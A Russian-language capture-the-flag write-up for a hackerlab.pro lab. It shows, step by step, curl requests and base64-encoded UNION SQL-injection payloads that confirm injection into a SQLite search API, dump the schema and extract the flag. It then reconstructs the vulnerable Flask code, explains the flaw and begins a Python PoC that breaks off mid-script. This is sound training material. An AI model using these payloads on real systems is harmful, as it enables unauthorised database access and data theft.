    <p id="pPyI">Проверка разрешённых методов:<br /><br />curl -s -X OPTIONS <a href="http://62.173.140.174:16112/api/posts/search" target="_blank">http://62.173.140.174:16112/api/posts/search</a> -i<br />curl -s -X OPTIONS <a href="http://62.173.140.174:16112/api/posts" target="_blank">http://62.173.140.174:16112/api/posts</a> -i</p>
  </section>
  <figure id="uMsy" class="m_original">
    <img src="https://img3.teletype.in/files/a3/0c/a30cfbde-f22f-4901-a5da-86b5a73caa49.png" width="1300" />
  </figure>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zU0M">Команда:</p>
    <p id="rWr8">    curl -s -X OPTIONS <a href="http://62.173.140.174:16112/api/posts/search" target="_blank">http://62.173.140.174:16112/api/posts/search</a> -i --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="TgAb">Ответ:<br />HTTP/1.1 200 OK<br />    Server: Werkzeug/3.1.5 Python/3.11.6<br />    Date: Mon, 18 May 2026 07:21:05 GMT<br />    Content-Type: text/html; charset=utf-8<br />    Allow: POST, OPTIONS<br />    Content-Length: 0<br />    Connection: close</p>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="G21G"><br />Команда:</p>
    <p id="6N9T">    curl -s -X OPTIONS <a href="http://62.173.140.174:16112/api/posts" target="_blank">http://62.173.140.174:16112/api/posts</a> -i --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="YCAg">Полный ответ:</p>
    <p id="hMFD">    HTTP/1.1 200 OK<br />    Server: Werkzeug/3.1.5 Python/3.11.6<br />    Date: Mon, 18 May 2026 07:21:06 GMT<br />    Content-Type: text/html; charset=utf-8<br />    Allow: OPTIONS, GET, HEAD<br />    Content-Length: 0<br />    Connection: close</p>
  </section>
  <p id="CGHy">Также сразу проверил, можно ли создать пост (вдруг условие<br />буквально про &quot;пишу свои посты&quot;):</p>
  <figure id="gI3m" class="m_original">
    <img src="https://img2.teletype.in/files/df/96/df96c3af-aa27-4c44-bb85-2d9cbe4dc128.png" width="1426" />
  </figure>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="k2Se">    curl -s -i -X POST <a href="http://62.173.140.174:16112/api/posts" target="_blank">http://62.173.140.174:16112/api/posts</a> -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;title&quot;:&quot;test&quot;,&quot;content&quot;:&quot;test&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gDUu">Полный ответ:</p>
    <p id="UZHR">    HTTP/1.1 405 METHOD NOT ALLOWED<br />    Server: Werkzeug/3.1.5 Python/3.11.6<br />    Date: Mon, 18 May 2026 07:21:01 GMT<br />    Content-Type: text/html; charset=utf-8<br />    Allow: OPTIONS, GET, HEAD<br />    Content-Length: 153<br />    Connection: close</p>
    <p id="IdiF">    &lt;!doctype html&gt;<br />    &lt;html lang=en&gt;<br />    &lt;title&gt;405 Method Not Allowed&lt;/title&gt;<br />    &lt;h1&gt;Method Not Allowed&lt;/h1&gt;<br />    &lt;p&gt;The method is not allowed for the requested URL.&lt;/p&gt;</p>
  </section>
  <p id="ghIe">И посмотрел список постов:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZWh1">    curl -s <a href="http://62.173.140.174:16112/api/posts" target="_blank">http://62.173.140.174:16112/api/posts</a> --max-time 10</p>
  </section>
  <p id="Bzts">Полный ответ:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tGTJ">    {&quot;data&quot;:[{&quot;content&quot;:&quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,&quot;id&quot;:1,&quot;title&quot;:&quot;Welcome to our blog&quot;},{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
  </section>
  <p id="FYR8">Что узнали:</p>
  <p id="6foP">1. /api/posts/search принимает только POST.<br />2. /api/posts отдаёт список из трёх постов с полями id, title,<br />   content (важно — нужно для построения UNION позже).<br />3. Создавать посты нельзя (POST/PUT на /api/posts → 405). &quot;Писать<br />   посты&quot; в условии — это просто отсылка к глаголу &quot;постить&quot;. (POSTing)<br />4. Никаких админок, debug-консолей, документации API наружу нет.</p>
  <p id="yJIr">Вывод: вся поверхность атаки — единственный параметр filter в<br />POST /api/posts/search.<br /></p>
  <hr />
  <h2 id="sdAp">## Шаг 3. Поведение фильтра</h2>
  <p id="Aiwb">Зачем: понять, что именно делает filter на сервере. Это поиск<br />по подстроке (SQL LIKE)? Точное совпадение? Регулярка? Какой-то<br />DSL? От ответа зависит дальнейший вектор.</p>
  <p id="yEnu">Кодируем строки и шлём запросы. =</p>
  <p id="Ay3M">3.1. filter = &quot;test&quot;</p>
  <p id="SZCW">    echo -n &quot;test&quot; | base64</p>
  <p id="Xkhp">Вывод:</p>
  <p id="b2PT">    dGVzdA==</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LShZ">Запрос:</p>
    <p id="aUwE">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;dGVzdA==&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LH0l">Полный ответ:</p>
    <p id="IAlJ">    {&quot;data&quot;:[],&quot;success&quot;:true}</p>
  </section>
  <p id="v7jn">Слово &quot;test&quot; в заголовках постов отсутствует → пустой массив.<br />Ошибки нет, значит до сервера запрос дошёл корректно.</p>
  <p id="7CvQ">3.2. filter = &quot;a&quot;</p>
  <p id="Epq4">    echo -n &quot;a&quot; | base64</p>
  <p id="wmIR">Вывод:</p>
  <p id="CjSZ">    YQ==</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="IS7s">Запрос:</p>
    <p id="QWHP">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;YQ==&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="sbkg">Полный ответ:</p>
    <p id="OrOm">    {&quot;data&quot;:[{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
    <p id="y9La">Вернулись посты #2 (&quot;https://hackerlab.pro&quot;) и #3 (&quot;Security<br />Best Practices&quot;) — в обоих заголовках есть буква &quot;a&quot;. Пост #1<br />(&quot;Welcome to our blog&quot;) — нет. Значит, поиск по подстроке, и не<br />по началу строки, а где угодно (либо там LIKE &#x27;%a%&#x27;, либо что-то<br />эквивалентное).</p>
  </section>
  <p id="Dqdo">3.3. filter = &quot;%&quot;</p>
  <p id="GG7s">    echo -n &quot;%&quot; | base64</p>
  <p id="FqZL">Вывод:</p>
  <p id="84Mi">    JQ==</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="9Nqi">Запрос:</p>
    <p id="GAWC">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;JQ==&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7IV1">Полный ответ:</p>
    <p id="IFGk">    {&quot;data&quot;:[{&quot;content&quot;:&quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,&quot;id&quot;:1,&quot;title&quot;:&quot;Welcome to our blog&quot;},{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
  </section>
  <p id="q7dV">Вернулись все три поста. Это уже сильный сигнал: символ &quot;%&quot; в<br />LIKE-выражении SQL — это wildcard &quot;любая последовательность<br />символов&quot;. Поведение совпало с SQL LIKE.</p>
  <figure id="X4sI" class="m_original">
    <img src="https://img1.teletype.in/files/cc/f7/ccf7bca2-6b09-424d-9ffd-990bd2681de3.png" width="1402" />
  </figure>
  <p id="YokS">3.4. Пустое тело и пустой filter — пограничные случаи</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="KTaM">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ESje">Полный ответ:</p>
    <p id="GsK9">    {&quot;data&quot;:[{&quot;content&quot;:&quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,&quot;id&quot;:1,&quot;title&quot;:&quot;Welcome to our blog&quot;},{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
  </section>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ej3V">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="urfl">Полный ответ:</p>
    <p id="BQy9">    {&quot;data&quot;:[{&quot;content&quot;:&quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,&quot;id&quot;:1,&quot;title&quot;:&quot;Welcome to our blog&quot;},{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
  </section>
  <p id="ccdX">В обоих случаях возвращаются все посты. То есть пустой фильтр<br />сервер сам трактует как &quot;%&quot; — это типично для конструкции вида<br />WHERE title LIKE &#x27;%&#x27; || ? || &#x27;%&#x27;.</p>
  <figure id="8zyq" class="m_original">
    <img src="https://img1.teletype.in/files/82/14/82143a82-7935-46a5-91b7-dc70384687be.png" width="1412" />
  </figure>
  <p id="S0yc">Промежуточный вывод. На сервере, вероятнее всего, выполняется<br />запрос вроде:</p>
  <p id="WnCl">    SELECT id, title, content FROM posts WHERE title LIKE &#x27;%&lt;filter&gt;%&#x27;</p>
  <p id="1fsY">где &lt;filter&gt; — декодированный base64-параметр. Если это так и<br />параметр подставляется конкатенацией (без параметризации) — у<br />нас будет SQL-инъекция.</p>
  <hr />
  <h2 id="Seb8">## Шаг 4. Подтверждение SQL-инъекции и определение СУБД</h2>
  <p id="KTSJ">Зачем: проверить, экранирует ли сервер одинарную кавычку. Если<br />не экранирует — мы сломаем синтаксис SQL и увидим ошибку с<br />характерным текстом, по которому распознаем СУБД.</p>
  <p id="D93y">4.1. Одинарная кавычка</p>
  <p id="aM4I">    echo -n &quot;&#x27;&quot; | base64</p>
  <p id="ztFq">Вывод:</p>
  <p id="Pftz">    Jw==</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="5fjp">Запрос:</p>
    <p id="yXxG">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;Jw==&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="j8uR">Полный ответ:</p>
    <p id="YKti">    {&quot;error&quot;:&quot;unrecognized token: \&quot;&#x27;\&quot;&quot;,&quot;success&quot;:false}</p>
  </section>
  <p id="fiq1">Кавычка влетает в SQL &quot;как есть&quot; и ломает запрос. Сообщение<br />&quot;unrecognized token: \&quot;&#x27;\&quot;&quot; — это дословный текст ошибки SQLite<br />при разборе токенов. Значит:</p>
  <p id="UgOK">  - СУБД — SQLite.<br />  - Кавычки не экранируются.<br />  - Сервер ВОЗВРАЩАЕТ внутренний текст ошибки наружу (это<br />    подарок при эксплуатации).</p>
  <p id="u9p4">4.2. Дополнительная проверка — NUL-байт</p>
  <p id="5pFr">Бонусный сигнал, чтобы убедиться, что строка реально доходит в<br />драйвер БД &quot;сырая&quot;:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Lonw">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;AAEC&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="l76G">&quot;AAEC&quot; в base64 = 0x00 0x01 0x02. Ответ:</p>
    <p id="vlv3">    {&quot;error&quot;:&quot;the query contains a null character&quot;,&quot;success&quot;:false}</p>
  </section>
  <p id="NUB3">Это уже исключение SQLite ProgrammingError: SQLite не любит<br />NUL в строке SQL. Значит, декодированный base64 действительно<br />склеивается с текстом запроса.</p>
  <p id="Cbol">4.3. Что мы знаем теперь</p>
  <p id="E5UH">  - Сервер: Flask + SQLite + что-то вроде sqlite3.execute().<br />  - Параметризации нет (filter влетает прямо в текст запроса).<br />  - Запрос: SELECT id, title, content FROM posts WHERE title LIKE &#x27;%&lt;filter&gt;%&#x27;.<br />  - Сообщения об ошибках возвращаются в JSON как поле &quot;error&quot; —<br />    это бесплатная диагностика.<br /></p>
  <hr />
  <h2 id="LzzB">## Шаг 5. UNION — определяем число колонок</h2>
  <p id="FdFI">Зачем: при UNION число и типы колонок в обоих SELECT должны<br />совпадать. Нам нужно угадать это число, чтобы прицепить свой<br />запрос. Из JSON ответа /api/posts мы уже видели id, title,<br />content — три поля. Но это полей в ответе, а количество колонок<br />в SELECT может отличаться. Поэтому проверим явно.</p>
  <p id="6aus">5.1. Пробуем 3 колонки</p>
  <p id="TdYb">    echo -n &quot;%&#x27; UNION SELECT 1,2,3-- &quot; | base64</p>
  <p id="YRJ0">Вывод:</p>
  <p id="ctzo">    JScgVU5JT04gU0VMRUNUIDEsMiwzLS0g</p>
  <p id="olj2">Разбор пейлоада:<br />  %&#x27;                    закрываем LIKE-литерал (одинарной кавычкой)<br />                        и оставляем &quot;%&quot; как валидную часть<br />                        предыдущего LIKE<br />  UNION SELECT 1,2,3    собственно UNION с тремя константами<br />  --   (с пробелом)     SQL-комментарий до конца строки, чтобы<br />                        выкинуть оставшийся хвост запроса:<br />                        ...%&#x27; (и заключительную закрывающую<br />                        кавычку, и закрывающий &quot;%&quot;)<br />  пробел после --       обязателен в SQLite, чтобы комментарий<br />                        нормально интерпретировался</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="fsLg">Запрос:</p>
    <p id="KEnm">curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;JScgVU5JT04gU0VMRUNUIDEsMiwzLS0g&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ivKq">Полный ответ:</p>
    <p id="bCfd"> {&quot;data&quot;:[{&quot;content&quot;:3,&quot;id&quot;:1,&quot;title&quot;:2},{&quot;content&quot;:&quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,&quot;id&quot;:1,&quot;title&quot;:&quot;Welcome to our blog&quot;},{&quot;content&quot;:&quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,&quot;id&quot;:2,&quot;title&quot;:&quot;https://hackerlab.pro&quot;},{&quot;content&quot;:&quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,&quot;id&quot;:3,&quot;title&quot;:&quot;Security Best Practices&quot;}],&quot;success&quot;:true}</p>
  </section>
  <p id="KJ9J">Первая запись в массиве — наша подделка: {&quot;id&quot;:1, &quot;title&quot;:2,<br />&quot;content&quot;:3}. Значит:</p>
  <p id="xrzJ">  - Колонок ровно 3.<br />  - Маппинг &quot;колонка → ключ JSON&quot;:<br />        1-я колонка → id<br />        2-я колонка → title<br />        3-я колонка → content<br />  - SQLite не ругается на смешанные типы (INTEGER в title и<br />    content) — она динамически типизирована.</p>
  <p id="vyw2">5.2. Контроль с 4 колонками</p>
  <p id="SQLp">    echo -n &quot;%&#x27; UNION SELECT 1,2,3,4-- &quot; | base64</p>
  <p id="p43P">Вывод:</p>
  <p id="HTS9">    JScgVU5JT04gU0VMRUNUIDEsMiwzLDQtLSA=</p>
  <p id="LL7R">Запрос:</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="90gM">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;JScgVU5JT04gU0VMRUNUIDEsMiwzLDQtLSA=&quot;}&#x27; --max-time 10</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qYgd">Полный ответ:</p>
    <p id="W7PH">    {&quot;error&quot;:&quot;SELECTs to the left and right of UNION do not have the same number of result columns&quot;,&quot;success&quot;:false}</p>
  </section>
  <p id="38Zm">Подтверждено: левая часть UNION возвращает 3 колонки. Идеальный<br />канал утечки — 2-я и 3-я колонки (title, content), туда положим<br />данные.<br /></p>
  <hr />
  <h2 id="6dch">## Шаг 6. Дамп схемы из &#x60;sqlite_master&#x60;</h2>
  <p id="HWfk">Зачем: узнать имена пользовательских таблиц и их структуру.<br />В SQLite есть служебная таблица sqlite_master со столбцами:</p>
  <p id="OYyf">    type    | &#x27;table&#x27; / &#x27;index&#x27; / &#x27;view&#x27; / &#x27;trigger&#x27;<br />    name    | имя объекта<br />    tbl_name| имя таблицы<br />    rootpage| внутренний номер страницы<br />    sql     | оригинальный DDL (CREATE TABLE ...)</p>
  <p id="u6ai">Команда генерации пейлоада:</p>
  <p id="IXlG">    echo -n &quot;%&#x27; UNION SELECT 1,name,sql FROM sqlite_master-- &quot; | base64</p>
  <p id="zdaO">Вывод:</p>
  <p id="3L9C">    JScgVU5JT04gU0VMRUNUIDEsbmFtZSxzcWwgRlJPTSBzcWxpdGVfbWFzdGVyLS0g</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Nroz">Запрос:</p>
    <p id="TxsA">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;JScgVU5JT04gU0VMRUNUIDEsbmFtZSxzcWwgRlJPTSBzcWxpdGVfbWFzdGVyLS0g&quot;}&#x27; --max-time 10 | python3 -m json.tool</p>
  </section>
  <p id="53Vy">(python3 -m json.tool используется только для красивого<br />форматирования JSON, на саму уязвимость не влияет.)</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="W0R0">Полный ответ:</p>
    <p id="JSj1">    {<br />        &quot;data&quot;: [<br />            {<br />                &quot;content&quot;: &quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;Welcome to our blog&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;CREATE TABLE flag (\n            flag TEXT NOT NULL\n        )&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;flag&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;CREATE TABLE posts (\n            id INTEGER PRIMARY KEY AUTOINCREMENT,\n            title TEXT NOT NULL,\n            content TEXT NOT NULL\n        )&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;posts&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;CREATE TABLE sqlite_sequence(name,seq)&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;sqlite_sequence&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,<br />                &quot;id&quot;: 2,<br />                &quot;title&quot;: &quot;https://hackerlab.pro&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,<br />                &quot;id&quot;: 3,<br />                &quot;title&quot;: &quot;Security Best Practices&quot;<br />            }<br />        ],<br />        &quot;success&quot;: true<br />    }</p>
  </section>
  <p id="8eoY">Из вывода видим три пользовательских объекта:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="JltO">    flag             CREATE TABLE flag (flag TEXT NOT NULL)<br />    posts            CREATE TABLE posts (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT NOT NULL, content TEXT NOT NULL)<br />    sqlite_sequence  служебная таблица AUTOINCREMENT</p>
    <p id="ef6M">Таблица flag с единственной колонкой flag — наша цель.</p>
  </section>
  <hr />
  <h2 id="gzII">## ШАГ 7. ИЗВЛЕЧЕНИЕ ФЛАГА</h2>
  <p id="dyXz">Зачем: финальный шаг — прочитать значение колонки flag из<br />таблицы flag.</p>
  <p id="10He">Команда генерации пейлоада:</p>
  <p id="Hbc3">    echo -n &quot;%&#x27; UNION SELECT 1,flag,flag FROM flag-- &quot; | base64</p>
  <p id="R7NM">Вывод:</p>
  <p id="OouD">    JScgVU5JT04gU0VMRUNUIDEsZmxhZyxmbGFnIEZST00gZmxhZy0tIA==</p>
  <p id="i6dN">Кладём значение и в title, и в content — мало ли, какое поле<br />сервер обрежет; на практике оба возвращаются полностью.</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="95DT">Запрос:</p>
    <p id="ktSX">    curl -s -X POST http://62.173.140.174:16112/api/posts/search -H &quot;Content-Type: application/json&quot; -d &#x27;{&quot;filter&quot;:&quot;JScgVU5JT04gU0VMRUNUIDEsZmxhZyxmbGFnIEZST00gZmxhZy0tIA==&quot;}&#x27; --max-time 10 | python3 -m json.tool</p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="qfMQ">Полный ответ:</p>
    <p id="yytH">    {<br />        &quot;data&quot;: [<br />            {<br />                &quot;content&quot;: &quot;CODEBY{ap1_vuln_sqli_fl4g}&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;CODEBY{ap1_vuln_sqli_fl4g}&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;This is the very first post on our blog API. Feel free to search for posts using the form above!&quot;,<br />                &quot;id&quot;: 1,<br />                &quot;title&quot;: &quot;Welcome to our blog&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;Capture‑the‑flag challenges are fun ways to learn about software security. This blog discusses how to build engaging CTFs.&quot;,<br />                &quot;id&quot;: 2,<br />                &quot;title&quot;: &quot;https://hackerlab.pro&quot;<br />            },<br />            {<br />                &quot;content&quot;: &quot;Never trust user input directly: use parameterised queries, validate inputs and follow secure coding guidelines.&quot;,<br />                &quot;id&quot;: 3,<br />                &quot;title&quot;: &quot;Security Best Practices&quot;<br />            }<br />        ],<br />        &quot;success&quot;: true<br />    }</p>
  </section>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Bdii"><br />ФЛАГ:</p>
    <p id="VunT">    CODEBY{ap1_vuln_sqli_fl4g}</p>
  </section>
  <hr />
  <h2 id="debr">## ПОЧЕМУ СЕРВИС УЯЗВИМ</h2>
  <p id="4WRV">Реконструкция серверного кода (с высокой долей уверенности):</p>
  <p id="iVGB">    @app.route(&#x27;/api/posts/search&#x27;, methods=[&#x27;POST&#x27;])<br />    def search():<br />        data = request.get_json()<br />        try:<br />            filt = base64.b64decode(data.get(&#x27;filter&#x27;, &#x27;&#x27;),<br />                                    validate=True).decode()<br />        except Exception:<br />            return jsonify(success=False,<br />                           error=&#x27;invalid base64 encoding&#x27;)<br />        try:<br />            rows = db.execute(<br />                f&quot;SELECT id, title, content FROM posts &quot;<br />                f&quot;WHERE title LIKE &#x27;%{filt}%&#x27;&quot;<br />            ).fetchall()<br />        except sqlite3.Error as e:<br />            return jsonify(success=False, error=str(e))<br />        return jsonify(success=True,<br />                       data=[dict(r) for r in rows])</p>
  <p id="N7iJ">Совершённые ошибки:</p>
  <p id="frYq">1. Конкатенация строк в SQL вместо параметризации. Это<br />   фундаментальная причина уязвимости.</p>
  <p id="nhhq">2. Base64 на фронте создаёт иллюзию &quot;защиты&quot; — но это просто<br />   кодировка. Любой пейлоад с одинарной кавычкой и UNION легко<br />   проходит через btoa() / base64.b64decode().</p>
  <p id="JY1Q">3. Сообщения об ошибках SQLite (unrecognized token, the query<br />   contains a null character, SELECTs to the left and right of<br />   UNION ...) уходят клиенту напрямую — это превращает blind-<br />   эксплуатацию в обычную error-based, что заметно проще.</p>
  <p id="qfuy">4. Никакой allow-list для содержимого filter не применяется.</p>
  <hr />
  <h2 id="kzEB">## Готовый PoC</h2>
  <figure id="Uwhm" class="m_original">
    <img src="https://img1.teletype.in/files/8c/d0/8cd0c0f0-553c-4e4e-a940-c2589af3174c.png" width="1396" />
  </figure>
  <figure id="pvma" class="m_original">
    <img src="https://img4.teletype.in/files/7a/dd/7adda058-72a7-47e2-b9b5-4927027458b5.png" width="1383" />
  </figure>
  <p id="Pkzg">Сам скрипт </p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tqGf"><code>poc.py</code></p>
    <p id="Pd5O">#!/usr/bin/env python3<br />&quot;&quot;&quot;<br />PoC: SQL Injection в POST /api/posts/search на hackerlab.pro<br />Задача: &quot;ПОСТимся&quot;</p>
    <p id="bm8e">Уязвимость:<br />    Параметр &#x60;filter&#x60; (base64-обёрнутый) подставляется в SQLite-запрос<br />    через конкатенацию строк:<br />        SELECT id, title, content FROM posts WHERE title LIKE &#x27;%&lt;filter&gt;%&#x27;<br />    Это позволяет провести UNION-based SQL-инъекцию и извлечь<br />    содержимое произвольной таблицы (в т.ч. таблицы &#x60;flag&#x60;).</p>
    <p id="arZW">Использование:<br />    python3 poc.py                          # с дефолтным таргетом<br />    python3 poc.py http://IP:PORT           # с произвольным таргетом<br />&quot;&quot;&quot;</p>
    <p id="0SuM">import sys<br />import json<br />import base64<br />import urllib.request<br />import urllib.error</p>
    <p id="h0eY"><br />DEFAULT_TARGET = &quot;http://62.173.140.174:16112&quot;<br />ENDPOINT = &quot;/api/posts/search&quot;</p>
    <p id="xm4o"><br /># ---------- цветной вывод ----------</p>
    <p id="opb5">class C:<br />    G = &quot;\033[38;5;46m&quot;   # ярко-зелёный &quot;хакерский&quot;<br />    W = &quot;\033[97m&quot;        # белый<br />    BOLD = &quot;\033[1m&quot;<br />    DIM = &quot;\033[2m&quot;<br />    END = &quot;\033[0m&quot;</p>
    <p id="7RgP"><br />def banner(text):<br />    print()<br />    print(f&quot;{C.BOLD}{C.G}{&#x27;=&#x27; * 68}{C.END}&quot;)<br />    print(f&quot;{C.BOLD}{C.G}{text}{C.END}&quot;)<br />    print(f&quot;{C.BOLD}{C.G}{&#x27;=&#x27; * 68}{C.END}&quot;)</p>
